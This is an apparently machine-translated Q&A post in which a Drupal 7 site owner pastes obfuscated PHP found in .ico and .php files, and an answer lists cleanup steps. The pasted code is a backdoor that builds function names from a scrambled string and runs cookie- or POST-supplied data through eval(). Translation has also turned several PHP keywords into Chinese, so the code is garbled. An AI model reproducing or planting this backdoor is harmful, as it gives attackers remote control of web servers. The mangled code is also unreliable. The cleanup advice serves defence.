Drupal 7 最近的日志消息

Question

我面临一个问题。每天在我的服务器上应用这种代码的 .ico 文件和 .php 文件：

$zvtizrs = 'y6v1i4be#torufpkxc7_8Hg0n*-2sladm\'';$yjzgov = 数组（）；$yjzgov[] = $zvtizrs[30].$zvtizrs[3].$zvtizrs[30].$zvtizrs[27].$zvtizrs[1].$zvtizrs[23].$zvtizrs[30].$zvtizrs[13].$zvtizrs [26].$zvtizrs[6].$zvtizrs[20].$zvtizrs[31].$zvtizrs[30].$zvtizrs[26].$zvtizrs[5].$zvtizrs[3].$zvtizrs[27 ].$zvtizrs[18].$zvtizrs[26].$zvtizrs[20].$zvtizrs[3].$zvtizrs[13].$zvtizrs[27].$zvtizrs[26].$zvtizrs[1]. $zvtizrs[23].$zvtizrs[5].$zvtizrs[13].$zvtizrs[5].$zvtizrs[13].$zvtizrs[23].$zvtizrs[20].$zvtizrs[30].$zvtizrs [18].$zvtizrs[17].$zvtizrs[7];$yjzgov[] = $zvtizrs[21].$zvtizrs[25];$yjzgov[] = $zvtizrs[8];$yjzgov[] = $zvtizrs[17].$zvtizrs[10].$zvtizrs[12].$zvtizrs[ 24].$zvtizrs[9];$yjzgov[] = $zvtizrs[28].$zvtizrs[9].$zvtizrs[11].$zvtizrs[19].$zvtizrs[11].$zvtizrs[7].$zvtizrs[14].$zvtizrs[7].$ zvtizrs[30].$zvtizrs[9];$yjzgov[] = $zvtizrs[7].$zvtizrs[16].$zvtizrs[14].$zvtizrs[29].$zvtizrs[10].$zvtizrs[31].$zvtizrs[7];$yjzgov[] = $zvtizrs[28].$zvtizrs[12].$zvtizrs[6].$zvtizrs[28].$zvtizrs[9].$zvtizrs[11];$yjzgov[] = $zvtizrs[30].$zvtizrs[11].$zvtizrs[11].$zvtizrs[30].$zvtizrs[0].$zvtizrs[19].$zvtizrs[32].$zvtizrs[7].$ zvtizrs[11].$zvtizrs[22].$zvtizrs[7];$yjzgov[] = $zvtizrs[28].$zvtizrs[9].$zvtizrs[11].$zvtizrs[29].$zvtizrs[7].$zvtizrs[24];$yjzgov[] = $zvtizrs[14].$zvtizrs[30].$zvtizrs[17].$zvtizrs[15];foreach ($yjzgov[7]($_COOKIE, $_POST) as $xtfjdc => $jqlwt){函数 frtdmz($yjzgov, $xtfjdc, $omljrbn){返回 $yjzgov[6]($yjzgov[4]($xtfjdc . $yjzgov[0], ($omljrbn / $yjzgov8) + 1), 0, $omljrbn);}函数 htylm($yjzgov, $xwoin){return @$yjzgov[9]($yjzgov[1], $xwoin);}函数 twdine($yjzgov, $xwoin){$sknbn = $yjzgov3 % 3;if (!$sknbn) {eval($xwoin1);exit();}}$jqlwt = htylm($yjzgov, $jqlwt);twdine($yjzgov, $yjzgov[5]($yjzgov[2], $jqlwt ^ frtdmz($yjzgov, $xtfjdc, $yjzgov8)));}

你能告诉我我该怎么做吗？ 我正在使用机架空间托管。在最近的日志中，我也有很多这样的链接（/d0E0MDY5VDNpanR6NDM5MzFJaQ==）。 我怎样才能阻止它？

提前致谢！

Answer 1

被黑了。我最近正在清理自己被黑的网站，这是一场噩梦。最好从备份中检索一些最新版本并立即应用所有安全更新。如果没有备份（大问题！），您可以像我一样尝试“清理”站点：

• 清除所有带有恶意内容的文件。去搜索/替换所有文件。
• 转储数据库并执行相同的操作来转储文件 - 删除恶意内容，然后将其重新导入。
• 检查用户帐户。如果有一些可疑的一个块/删除它们。
• 检查新创建的可疑用户组。也删除它们。
• 进行备份。
• 应用所有安全更新/补丁。再次进行新备份。
• 更改所有帐户密码（drupal 管理员、ftp 帐户、数据库帐户）。
• 设置计划备份。 IE。为此使用 Becakup&Migrate 模块。